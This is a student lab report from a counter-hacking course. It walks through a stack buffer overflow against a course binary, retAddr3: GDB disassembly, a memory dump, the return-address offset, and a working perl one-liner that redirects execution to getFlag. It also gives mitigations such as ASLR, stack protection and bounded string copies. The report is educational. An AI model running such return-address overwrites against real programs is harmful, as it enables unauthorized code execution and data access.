CS 647: Counter Hacking Techniques

Merry Vulnerability Assessment

Fall 2025

Jake Caceres
Kirlus Saad
Percy Flores

October 12th, 2025

Executive Summary:

The objectives of this assessment were to analyze the program ***retAddr3*** for a stack-based buffer overflow exploit that forced the program to call the ***getFlag*** function and retrieve the flag within the ***merryflag.txt*** file. The scope of the work was focused on the merry user's home directory on the CS647 VM FA25 course virtual machine and on program analysis through the GNU Debugger (GDB) and exploitation techniques such as buffer overflows. Each member of the team executed the exploit separately for the flag submission portion, and the team prepared a collaborative written report discussing risk, technique, and mitigations.

The team identified a stack-based buffer overflow that was due to a lack of bounds checking in the input-handling of the program. Specifically the use of the ***strcpy*** function which does not validate the input size before copying. The environment also had multiple defense mechanisms disabled defenses such as Address Space Layout Randomization (ASLR), stack-smashing protection (SSP), and Data Execution Prevention (DEP). This allowed for a deterministic memory layout and made an executable injection possible. The combination of the ***strcpy*** and the disabled defense mechanisms exposes the user to invasive code execution, which allows threat actors access to files that were intended to stay protected.

The team suggested restoring the standard compiler and system protections alongside improving secure-coding practices. This includes re-enabling ASLR, enabling SSP, enforcing DEP, and replacing functions such as ***strcpy*** with bounds-checking alternatives such as ***strncpy***. The team also recommended higher level protections such as static analysis and code reviews to secure sensitive data and reduce the likelihood of exposure.

The methodology of exploitation involved using the GNU Debugger (GDB) to examine through the stack layout, to determine the padding required to change the saved return address and the extended instruction pointer (EIP), and crafting a payload that redirected the execution flow to the ***getFlag*** function. ASLR, SSP, and DEP being disabled, iterative testing led to the correct overwrite offset and target address, and the payload successfully calling the ***getFlag*** function to display the contents of ***merryflag.txt***. The flag file, ***merryflag.txt,*** was recovered by all members of the team, the exploit objectives were met, and possible mitigation methods were offered.

1 Objectives

1.1 Examine retAddr3 for Buffer Overflow Vulnerabilities

Look through the known program called “retAddr3” and examine its contents without looking at the source code to discover a buffer overflow vulnerability. The starting point is the program “retAddr3” in the /home/merry directory.

1.2 Use a Buffer Overflow Exploit to call the getFlag Function

Once a buffer overflow vulnerability is found, create a buffer overflow exploit to successfully call the known function getFlag. This would expose our flag and print it to the screen.

2 Attacks

For each exploit used, fill out the following table. If one exploit depends on another to achieve its goal, reference the dependency in the table for that exploit.

2.1 Buffer Overflow Exploit on retAddr3

Exploit #1	*Buffer Overflow Exploit on retAddr3*
Description	The attack was a buffer overflow inside the vuln function defined in the provided assembly code. The attack was not done to the vuln function itself but to the `strcpy()` function implemented in it, which lacks size checking, therefore, allowing the attacker to freely overwrite the contents of the stack resulting in a forced call to an initially unreachable function `getFlag` that ultimately led to the mentioned vulnerability.
Objectives	Objective 1.1 Examine retAddr3 for Buffer Overflow Vulnerabilities Objective 1.2 Use a Buffer Overflow Exploit to call the getFlag Function
Assumptions	This attack was successful due to the following assumptions holding true: ● Data Execution Prevention (DEP) was disabled. ● Stack-Smashing Protection (SSP) was disabled ● Address Space Layout Randomization (ASLR) was disabled. ● The program utilizes a string copy function that does not check input length. ● You have system access to the merry account. Should any of those assumptions not hold true, the exploit would fail. An entirely new exploit would need to be crafted to overcome the new level of complexity and difficulty.
Findings	The attack was successful. We were successfully able to cause a buffer overflow to modify the return address to become 0x565563c2 which allowed us to call the function `getFlag`. In post execution, we retrieved the flag which was printed to the screen.

<table>
<tr><td>Mitigations</td><td>This attack can be easily mitigated by utilizing any of the operating system's (OS) defense mechanisms such as DEP, SSP, and ASLR. DEP would make it so that when executing the program areas of memory can be labeled as non-executable. You could designate <code>getFlag</code> as a non-executable area and prevent it from running. If SSP was active, there would be an indicator to the program that tampering had occurred and prevent execution. If ASLR was active, it would randomize the locations of memory in the stack to make it next to impossible to locate where we would need to write the overflow.

An additional thing that will also help mitigate this attack is to utilize a safer string copy function such as <code>strncpy()</code>. The safer string copy function, <code>strncpy()</code>, limits the amount of characters copied to the destination. This could prevent this vulnerability since attackers would not be able to enter a value larger than the predesignated buffer size.</td></tr>
<tr><td>Tools Used</td><td>
<table>
<tr><td>gdb</td><td>This is the GNU Debugger. It was utilized to inspect the stack and register values in this program. Common commands inside it are:
• <code>disassemble</code>
  ○ Allows the user to examine the assembly instructions in memory that make up the program.
• <code>break</code>
  ○ Adds stopping points in the code during execution. Commonly used to check values at certain points in the execution process.
• <code>run</code>
  ○ runs the program
• <code>x/<value><information type> <location></code>
  ○ Used to examine specific locations in memory with a specific data type.</td></tr>
<tr><td>perl</td><td>A language used to simplify the input of mass characters and the modified return address.</td></tr>
</table>
</td></tr>
<tr><td>Commands Used with Syntax</td><td>
<pre>Commands in Terminal:
   1. toggleASLR
   2. gdb retAddr3
Commands in GDB:
   3. run
   4. disassemble main
   5. break vuln
   6. run AAAA
   7. break *0x5655632c
   8. info break
   9. del 1
   10. disassemble vuln
   11. x /500xw $esp</pre>
</td></tr>
</table>

```
   12.  print 0xffffd4fc - 0xffffd20d
Commands in Terminal:
   13.  ./retAddr3 $(perl -e 'print "A"x751 .
      "\xc2\x63\x55\x56"')
```

Details

Preparation step before the attack:

In order to make a successful attack we must first prepare the current machine to make it more vulnerable to attacks to mirror the conditions specified by the client. For that reason we run the command "toggleASLR" to disable address space layout randomization on the terminal from the AWS merry username account. This way, it prevents the program from moving key memory regions to random locations at runtime.

```
merry@ip-172-31-22-130:~$ toggleASLR
Disabling ASLR...
/proc/sys/kernel/randomize_va_space = 0
```

Figure 1.1.1 Disabling ASLR

During the attack:

Using the GNU Debugger (GDB) command for debugging the file, we simply ran **`gdb retAddr3`** and encountered that this is an assembly file.

```
merry@ip-172-31-22-130:~$ gdb retAddr3
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from retAddr3...
(No debugging symbols found in retAddr3)
```

Figure 1.1.2 Running "retAddr3" through GDB

For exploration purposes, we figured we can run the gdb command **`run`** to see if any output came out. We observed the program exited normally, so we inferred a modification needs to be done at runtime to force a buffer overflow.

```
(gdb) run
Starting program: /home/merry/retAddr3
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Usage: /home/merry/retAddr3 <input>
[Inferior 1 (process 25817) exited normally]
```

Figure 1.1.3 An execution that ends normally

	Since we knew this was an assembly program, we ran **`disassemble main`** to observe the contents of the **`main`** function in Assembly language. Upon careful reading, the `getFlag` function at address 0x565563c2 stood out as the function we should force a call to when running the buffer overflow attack. The `vuln` function at address 0x56556385 also stood out for further examination. We also noted that the **`vuln`** function only gets called if an argument is passed at runtime. This can be observed here:
	
	`0x5655634a <+19>: cmpl $0x1,(%eax)`
	`0x5655634d <+22>: jg 0x5655636f <main+56>`
	…
	`0x5655636f <+56>: movl $0x0,-0xc(%ebp)`
	…
	`0x56556385 <+78>: call 0x56556263 <vuln>`
	
	Here the assembly instructions indicate the execution of the program will jump if the arguments are greater than 1, resulting in the call to the `vuln` function at address 0x56556385. At this step, we concluded there must be an argument passed when the program is called (i.e. **`./retAddr3 AAAA`**) for the program to call the `vuln` function and allow the overflow attack.

```
(gdb) disas main
Dump of assembler code for function main:
   0x56556337 <+0>:     lea    0x4(%esp),%ecx
   0x5655633b <+4>:     and    $0xfffffff0,%esp
   0x5655633e <+7>:     push   -0x4(%ecx)
   0x56556341 <+10>:    push   %ebp
   0x56556342 <+11>:    mov    %esp,%ebp
   0x56556344 <+13>:    push   %ecx
   0x56556345 <+14>:    sub    $0x14,%esp
   0x56556348 <+17>:    mov    %ecx,%eax
   0x5655634a <+19>:    cmpl   $0x1,(%eax)
   0x5655634d <+22>:    jg     0x5655636f <main+56>
   0x5655634f <+24>:    mov    0x4(%eax),%eax
   0x56556352 <+27>:    mov    (%eax),%eax
   0x56556354 <+29>:    sub    $0x8,%esp
   0x56556357 <+32>:    push   %eax
   0x56556358 <+33>:    push   $0x2031
   0x5655635d <+38>:    call   0x5655635e <main+39>
   0x56556362 <+43>:    add    $0x10,%esp
   0x56556365 <+46>:    sub    $0xc,%esp
   0x56556368 <+49>:    push   $0x0
   0x5655636a <+51>:    call   0x5655636b <main+52>
   0x5655636f <+56>:    movl   $0x0,-0xc(%ebp)
   0x56556376 <+63>:    mov    0x4(%eax),%eax
   0x56556379 <+66>:    add    $0x4,%eax
   0x5655637c <+69>:    mov    (%eax),%eax
   0x5655637e <+71>:    push   %eax
   0x5655637f <+72>:    push   $0x3
   0x56556381 <+74>:    push   $0x2
   0x56556383 <+76>:    push   $0x1
   0x56556385 <+78>:    call   0x56556263 <vuln>
   0x5655638a <+83>:    add    $0x10,%esp
   0x5655638d <+86>:    movl   $0x1,-0xc(%ebp)
   0x56556394 <+93>:    cmpl   $0x0,-0xc(%ebp)
   0x56556398 <+97>:    jne    0x565563ac <main+117>
   0x5655639a <+99>:    sub    $0xc,%esp
   0x5655639d <+102>:   push   $0x2045
   0x565563a2 <+107>:   call   0x565563a3 <main+108>
   0x565563a7 <+112>:   add    $0x10,%esp
   0x565563aa <+115>:   jmp    0x565563d9 <main+162>
   0x565563ac <+117>:   cmpl   $0x2,-0xc(%ebp)
--Type <RET> for more, q to quit, c to continue witho
   0x565563b0 <+121>:   jne    0x565563c9 <main+146>
   0x565563b2 <+123>:   sub    $0xc,%esp
   0x565563b5 <+126>:   push   $0x2056
   0x565563ba <+131>:   call   0x565563bb <main+132>
   0x565563bf <+136>:   add    $0x10,%esp
   0x565563c2 <+139>:   call   0x565561fd <getFlag>
   0x565563c7 <+144>:   jmp    0x565563d9 <main+162>
   0x565563c9 <+146>:   sub    $0xc,%esp
   0x565563cc <+149>:   push   $0x2045
   0x565563d1 <+154>:   call   0x565563d2 <main+155>
```

```
   0x565563d6 <+159>:   add    $0x10,%esp
   0x565563d9 <+162>:   nop
   0x565563da <+163>:   mov    -0x4(%ebp),%ecx
   0x565563dd <+166>:   leave
   0x565563de <+167>:   lea    -0x4(%ecx),%esp
   0x565563e1 <+170>:   ret
End of assembler dump.
```

Figure 1.1.4 The disassembled `main` function

As mentioned, the address holding the `getFlag` function was the goal return address that must overwrite the returning address on the stack during the attack, therefore, we decided to save it on the terminal by typing 0x565563c2.

```
(gdb) 0x565563c2
Undefined command: "0x565563c2".  Try "help".
```

Figure 1.1.5 Saving the address of the `vuln` function

As we mentioned earlier, the `vuln` function must be examined, therefore, we created a breakpoint for it and ran **`break vuln`**.

```
(gdb) break vuln
Breakpoint 1 at 0x56556268
```

Figure 1.1.6 Placing a break point at the `vuln` function

We noted at the end of step 4 that the program will run the `vuln` function only if arguments are passed, so we decided to execute **`run AAAA`** to further examine the `vuln` assembly code. As we saw, we will automatically break at the address of the function `vuln`.

```
(gdb) run AAAA
Starting program: /home/merry/retAddr3 AAAA
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x56556268 in vuln ()
```

Figure 1.1.7 Successful break at the `vuln` function

To examine the contents of the `vuln` function we ran “disassemble vuln”. Then, we noticed there is a `strcpy` function at address 0x56556327 in charge of writing to a buffer.

```
(gdb) disassemble vuln
Dump of assembler code for function vuln:
   0x56556263 <+0>:     push   %ebp
   0x56556264 <+1>:     mov    %esp,%ebp
   0x56556266 <+3>:     push   %edi
   0x56556267 <+4>:     push   %ebx
=> 0x56556268 <+5>:     sub    $0x4e0,%esp
   0x5655626e <+11>:    mov    0x8(%ebp),%ecx
   0x56556271 <+14>:    mov    0xc(%ebp),%edx
   0x56556274 <+17>:    mov    0x10(%ebp),%eax
   0x56556277 <+20>:    mov    %cl,-0x4dc(%ebp)
   0x5655627d <+26>:    mov    %dl,-0x4e0(%ebp)
   0x56556283 <+32>:    mov    %al,-0x4e4(%ebp)
   0x56556289 <+38>:    movl   $0x18,-0xc(%ebp)
   0x56556290 <+45>:    movw   $0xc2,-0xe(%ebp)
   0x56556296 <+51>:    lea    -0x2eb(%ebp),%eax
   0x5655629c <+57>:    mov    $0x2dd,%ecx
   0x565562a1 <+62>:    mov    $0x0,%ebx
   0x565562a6 <+67>:    mov    %ebx,(%eax)
   0x565562a8 <+69>:    mov    %ebx,-0x4(%eax,%ecx,1)
   0x565562ac <+73>:    lea    0x4(%eax),%edx
   0x565562af <+76>:    and    $0xfffffffc,%edx
   0x565562b2 <+79>:    sub    %edx,%eax
   0x565562b4 <+81>:    add    %eax,%ecx
   0x565562b6 <+83>:    and    $0xfffffffc,%ecx
   0x565562b9 <+86>:    shr    $0x2,%ecx
   0x565562bc <+89>:    mov    %edx,%edi
   0x565562be <+91>:    mov    %ebx,%eax
   0x565562c0 <+93>:    rep stos %eax,%es:(%edi)
   0x565562c2 <+95>:    lea    -0x427(%ebp),%eax
   0x565562c8 <+101>:   mov    $0x13c,%ecx
   0x565562cd <+106>:   mov    $0x0,%ebx
   0x565562d2 <+111>:   mov    %ebx,(%eax)
   0x565562d4 <+113>:   mov    %ebx,-0x4(%eax,%ecx,1)
   0x565562d8 <+117>:   lea    0x4(%eax),%edx
   0x565562db <+120>:   and    $0xfffffffc,%edx
   0x565562de <+123>:   sub    %edx,%eax
   0x565562e0 <+125>:   add    %eax,%ecx
   0x565562e2 <+127>:   and    $0xfffffffc,%ecx
   0x565562e5 <+130>:   shr    $0x2,%ecx
   0x565562e8 <+133>:   mov    %edx,%edi
--Type <RET> for more, q to quit, c to continue without
   0x565562ea <+135>:   mov    %ebx,%eax
   0x565562ec <+137>:   rep stos %eax,%es:(%edi)
   0x565562ee <+139>:   lea    -0x4ce(%ebp),%eax
   0x565562f4 <+145>:   mov    $0xa7,%ecx
   0x565562f9 <+150>:   mov    $0x0,%ebx
   0x565562fe <+155>:   mov    %ebx,(%eax)
   0x56556300 <+157>:   mov    %ebx,-0x4(%eax,%ecx,1)
   0x56556304 <+161>:   lea    0x4(%eax),%edx
   0x56556307 <+164>:   and    $0xfffffffc,%edx
   0x5655630a <+167>:   sub    %edx,%eax
   0x5655630c <+169>:   add    %eax,%ecx
```

```
   0x5655630e <+171>:   and    $0xfffffffc,%ecx
   0x56556311 <+174>:   shr    $0x2,%ecx
   0x56556314 <+177>:   mov    %edx,%edi
   0x56556316 <+179>:   mov    %ebx,%eax
   0x56556318 <+181>:   rep stos %eax,%es:(%edi)
   0x5655631a <+183>:   sub    $0x8,%esp
   0x5655631d <+186>:   push   0x14(%ebp)
   0x56556320 <+189>:   lea    -0x2eb(%ebp),%eax
   0x56556326 <+195>:   push   %eax
   0x56556327 <+196>:   call   0xf7e2f170 <__strcpy_sse2>
   0x5655632c <+201>:   add    $0x10,%esp
   0x5655632f <+204>:   nop
   0x56556330 <+205>:   lea    -0x8(%ebp),%esp
   0x56556333 <+208>:   pop    %ebx
   0x56556334 <+209>:   pop    %edi
   0x56556335 <+210>:   pop    %ebp
   0x56556336 <+211>:   ret
End of assembler dump.
```

Figure 1.1.8 The disassembled `vuln` function

We figured we did not necessarily have to calculate the total size of the buffer but rather place a breakpoint right after the `strcpy` function is executed to examine the addresses starting from the top of the stack. The %esp register always points to the top of the stack. Therefore, we placed a breakpoint at the address right after the execution of the **`strcpy`** function so we ran **`break *0x5655632c`**.

```
(gdb) break *0x5655632c
Breakpoint 2 at 0x5655632c
```

Figure 1.1.9 Placing a break point at the `strcpy` function

To secure a smooth run we decided to examine the existing breakpoints with the goal of only having 1 to ease the attack so we ran **`info break`**.

```
(gdb) info break
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x56556268 <vuln+5>
        breakpoint already hit 1 time
2       breakpoint     keep y   0x5655632c <vuln+201>
```

Figure 1.1.10 Checking which break points are active

We deleted the first breakpoint we created by running **`del 1`** so we were left only with the breakpoint that points at the address after `strcpy`.

```
(gdb) del 1
```

Figure 1.1.11 Deleting the first break point

Next, we ran **`run AAAA`** to properly land on our only breakpoint. It prompted us to start from the beginning and we answered “y” (yes).

```
(gdb) run AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/merry/retAddr3 AAAA
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 2, 0x5655632c in vuln ()
```

Figure 1.1.12 Placing a break point at the `vuln` function

We saw the current %eip register (instruction pointer) was indeed pointing at the next instruction which is the address after the strcpy function after we ran **`disassemble vuln`** to see the assembly code of the vuln function. We know this due to the arrow symbol “=>” that indicates the address the instruction pointer points to which is 0x5655632c.

```
(gdb) disassemble vuln
Dump of assembler code for function vuln:
   0x56556263 <+0>:     push   %ebp
   0x56556264 <+1>:     mov    %esp,%ebp
   0x56556266 <+3>:     push   %edi
   0x56556267 <+4>:     push   %ebx
   0x56556268 <+5>:     sub    $0x4e0,%esp
   0x5655626e <+11>:    mov    0x8(%ebp),%ecx
   0x56556271 <+14>:    mov    0xc(%ebp),%edx
   0x56556274 <+17>:    mov    0x10(%ebp),%eax
   0x56556277 <+20>:    mov    %cl,-0x4dc(%ebp)
   0x5655627d <+26>:    mov    %dl,-0x4e0(%ebp)
   0x56556283 <+32>:    mov    %al,-0x4e4(%ebp)
   0x56556289 <+38>:    movl   $0x18,-0xc(%ebp)
   0x56556290 <+45>:    movw   $0xc2,-0xe(%ebp)
   0x56556296 <+51>:    lea    -0x2eb(%ebp),%eax
   0x5655629c <+57>:    mov    $0x2dd,%ecx
   0x565562a1 <+62>:    mov    $0x0,%ebx
   0x565562a6 <+67>:    mov    %ebx,(%eax)
   0x565562a8 <+69>:    mov    %ebx,-0x4(%eax,%ecx,1)
   0x565562ac <+73>:    lea    0x4(%eax),%edx
   0x565562af <+76>:    and    $0xfffffffc,%edx
   0x565562b2 <+79>:    sub    %edx,%eax
   0x565562b4 <+81>:    add    %eax,%ecx
   0x565562b6 <+83>:    and    $0xfffffffc,%ecx
   0x565562b9 <+86>:    shr    $0x2,%ecx
   0x565562bc <+89>:    mov    %edx,%edi
   0x565562be <+91>:    mov    %ebx,%eax
   0x565562c0 <+93>:    rep stos %eax,%es:(%edi)
   0x565562c2 <+95>:    lea    -0x427(%ebp),%eax
   0x565562c8 <+101>:   mov    $0x13c,%ecx
   0x565562cd <+106>:   mov    $0x0,%ebx
   0x565562d2 <+111>:   mov    %ebx,(%eax)
   0x565562d4 <+113>:   mov    %ebx,-0x4(%eax,%ecx,1)
   0x565562d8 <+117>:   lea    0x4(%eax),%edx
   0x565562db <+120>:   and    $0xfffffffc,%edx
   0x565562de <+123>:   sub    %edx,%eax
   0x565562e0 <+125>:   add    %eax,%ecx
   0x565562e2 <+127>:   and    $0xfffffffc,%ecx
   0x565562e5 <+130>:   shr    $0x2,%ecx
   0x565562e8 <+133>:   mov    %edx,%edi
--Type <RET> for more, q to quit, c to continue without
   0x565562ea <+135>:   mov    %ebx,%eax
   0x565562ec <+137>:   rep stos %eax,%es:(%edi)
   0x565562ee <+139>:   lea    -0x4ce(%ebp),%eax
   0x565562f4 <+145>:   mov    $0xa7,%ecx
   0x565562f9 <+150>:   mov    $0x0,%ebx
   0x565562fe <+155>:   mov    %ebx,(%eax)
   0x56556300 <+157>:   mov    %ebx,-0x4(%eax,%ecx,1)
   0x56556304 <+161>:   lea    0x4(%eax),%edx
   0x56556307 <+164>:   and    $0xfffffffc,%edx
   0x5655630a <+167>:   sub    %edx,%eax
   0x5655630c <+169>:   add    %eax,%ecx
```

```
   0x5655630e <+171>:   and    $0xfffffffc,%ecx
   0x56556311 <+174>:   shr    $0x2,%ecx
   0x56556314 <+177>:   mov    %edx,%edi
   0x56556316 <+179>:   mov    %ebx,%eax
   0x56556318 <+181>:   rep stos %eax,%es:(%edi)
   0x5655631a <+183>:   sub    $0x8,%esp
   0x5655631d <+186>:   push   0x14(%ebp)
   0x56556320 <+189>:   lea    -0x2eb(%ebp),%eax
   0x56556326 <+195>:   push   %eax
   0x56556327 <+196>:   call   0xf7e2f170 <__strcpy_sse2>
=> 0x5655632c <+201>:   add    $0x10,%esp
   0x5655632f <+204>:   nop
   0x56556330 <+205>:   lea    -0x8(%ebp),%esp
   0x56556333 <+208>:   pop    %ebx
   0x56556334 <+209>:   pop    %edi
   0x56556335 <+210>:   pop    %ebp
   0x56556336 <+211>:   ret
End of assembler dump.
```

Figure 1.1.13 Confirmation of place in execution

This gave us the green light to examine the values at addresses starting from the top of the stack, hence, pointed by the stack pointer register. Our logic was to look for the first instance of our input (group of four letters A), meaning a group of four 41s at continuous addresses since this is how ASCII values are stored for characters. To do this, we ran **`x /500xw $esp`** which examined five hundred hexadecimal words starting at the address pointed by the stack pointer register.

```
(gdb) x /500xw $esp
0xffffd000:     0xffffd20d      0xffffd737      0x5702b738      0xf7fd3019
0xffffd010:     0x00000009      0x00000003      0xf7fc9602      0x00000001
0xffffd020:     0xf7fc96c4      0xf7ffd5e8      0x0000d08c      0x00000000
0xffffd030:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd040:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd050:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd060:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd070:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd080:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd090:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd0a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd0b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd0c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd0d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd0e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd0f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd100:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd110:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd120:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd130:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd140:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd150:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd160:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd170:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd180:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd190:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd1a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd1b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd1c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd1d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd1e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd1f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd200:     0x00000000      0x00000000      0x00000000      0x41414100
0xffffd210:     0x00000041      0x00000000      0x00000000      0x00000000
0xffffd220:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd230:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd240:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd250:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd260:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd270:     0x00000000      0x00000000      0x00000000      0x00000000
--Type <RET> for more, q to quit, c to continue without paging--
```

```
0xffffd280:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd290:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd2a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd2b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd2c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd2d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd2e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd2f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd300:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd310:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd320:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd330:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd340:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd350:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd360:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd370:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd380:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd390:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd400:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd410:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd420:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd430:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd440:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd450:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd460:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd470:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd480:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd490:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd4a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd4b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd4c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd4d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd4e0:     0x00000000      0x00000000      0x00c20000      0x00000018
0xffffd4f0:     0xf7fade34      0xf7ffcb60      0xffffd528      0x5655638a
--Type <RET> for more, q to quit, c to continue without paging--
```

Figure 1.1.14 500 hex words from the current value of register esp.

Next, we looked for our starting address and found it where 41414100 is which is at 0xffffd20c. Then, we looked for our ending address located past the starting address and the random buffer size as well as some byte alignments. We were specifically looking for the return address of the next instruction call from `main`. Such a value was 0x5655638a located at address 0xffffd4fc on the stack.

To summarize we then had:

1. Starting address: 0xffffd20c
2. Ending address: 0xffffd4fc

Next, our goal was to calculate the number of bytes to overwrite just before the returning address injection. However, we noticed our starting address was off by an alignment of 1 byte as per the image:

```
0xffffd200:     0x00000000      0x00000000      0x00000000      0x41414100
```

Figure 1.1.15 The spot in memory where the buffer begins

So, we decided to add 1 byte to the starting address. Now we had:

a. Updated starting address: 0xffffd20d

To calculate the proper number of letters A we needed to type to overflow the buffer and then allow us to overwrite the return address, we ran “print 0xffffd4fc - 0xffffd20d”. This meant printing the difference in bytes between our ending address and our updated starting address. This would indicate the number of As needed. Our result was 751 bytes, meaning 751 letters A needed.

```
--Type <RET> for more, q to quit, c to continue without paging--q
Quit
(gdb) print 0xffffd4fc - 0xffffd20d
$1 = 751
```

Figure 1.1.16 Determining the buffer size

We then exited GDB by running the command “exit” and, now in the terminal, ran the command:

```
./retAddr3 $(perl -e 'print "A"x751 . "\xc2\x63\x55\x56"')
```

This command writes 751 letters A into the buffer, overflows it overwriting the byte alignments and the return address of the next function call, which in this case, we forced it to be the address at the `getFlag` function.

We will divide this command in two parts and explain each.

Part one: **`./retAddr3`**

- This is the command we used to run the program from the terminal. It went along a parameter that symbolized text input meant to be written on the buffer.

Part two: **`$(perl -e 'print "A"xNNN . "\xNN\xNN\xNN\xNN"')`**

- This was the structure used on perl that allowed us to print a custom amount of characters, in this case letters A accompanied by an appended custom address. The first group of letters N indicates the amount of characters to be passed to the buffer. In our case, we wanted to write 751 letters A.

- The second group of letters N after the dot symbol (concatenation) show the following structure:
  - “\xNN\xNN\xNN\xNN”
    - Here, the letters NN separated by the symbols “\x” indicate the little endian format of our goal return address. Since our goal return address is 0x565563c2 (the one we saved before), then it looked like:
      - “\xc2\x63\x55\x56”

```
(gdb) exit
A debugging session is active.

        Inferior 1 [process 25958] will be killed.

Quit anyway? (y or n) y
```

```
merry@ip-172-31-22-130:~$ ./retAddr3 $(perl -e 'print "A"x751 . "\xc2\x63\x55\x56"')
Here you go:
6b2bb6414dac9cb046826520175dd92ae1ddef2d3a75ebc0940c869a00a4a676
c6ca11790d156366263857ff2e9478fe6075067964781b16bb83c0d212ce102a
Segmentation fault (core dumped)
```

Figure 1.1.17 Successful recovery of the flag.

As seen in the picture, we got the flag printed as the output of the retAddr3 program which shows a successful buffer overflow.

3 Flags

3.1 Jake Caceres

Flag Contents

602fb59221de412db9dfedadf05f2a7d56561dd0190b2f7035e278bdf91fc4ed

df81deade8b4357479528583d2c674eb2f609f0f1231ae9380796a0180a9ecb0

Screenshot

```
merry@cs647: ~
merry@cs647:~$ ./retAddr3 $(perl -e 'print "A"x802 . "\xc2\x63\x55\x56"')
Here you go:
602fb59221de412db9dfedadf05f2a7d56561dd0190b2f7035e278bdf91fc4ed
df81deade8b4357479528583d2c674eb2f609f0f1231ae9380796a0180a9ecb0
Segmentation fault (core dumped)
merry@cs647:~$ whoami
merry
merry@cs647:~$
```

3.2 Kirlus Saad

Flag Contents

40dd8db024d3c115e9f1a345ead38b672bd7dfbd6322a210fc9ebb903aab38c6

124108bf370b6c94304e702cafed629327ac35e7ec6bbc08fe799c1a351544a5

Screenshot

```
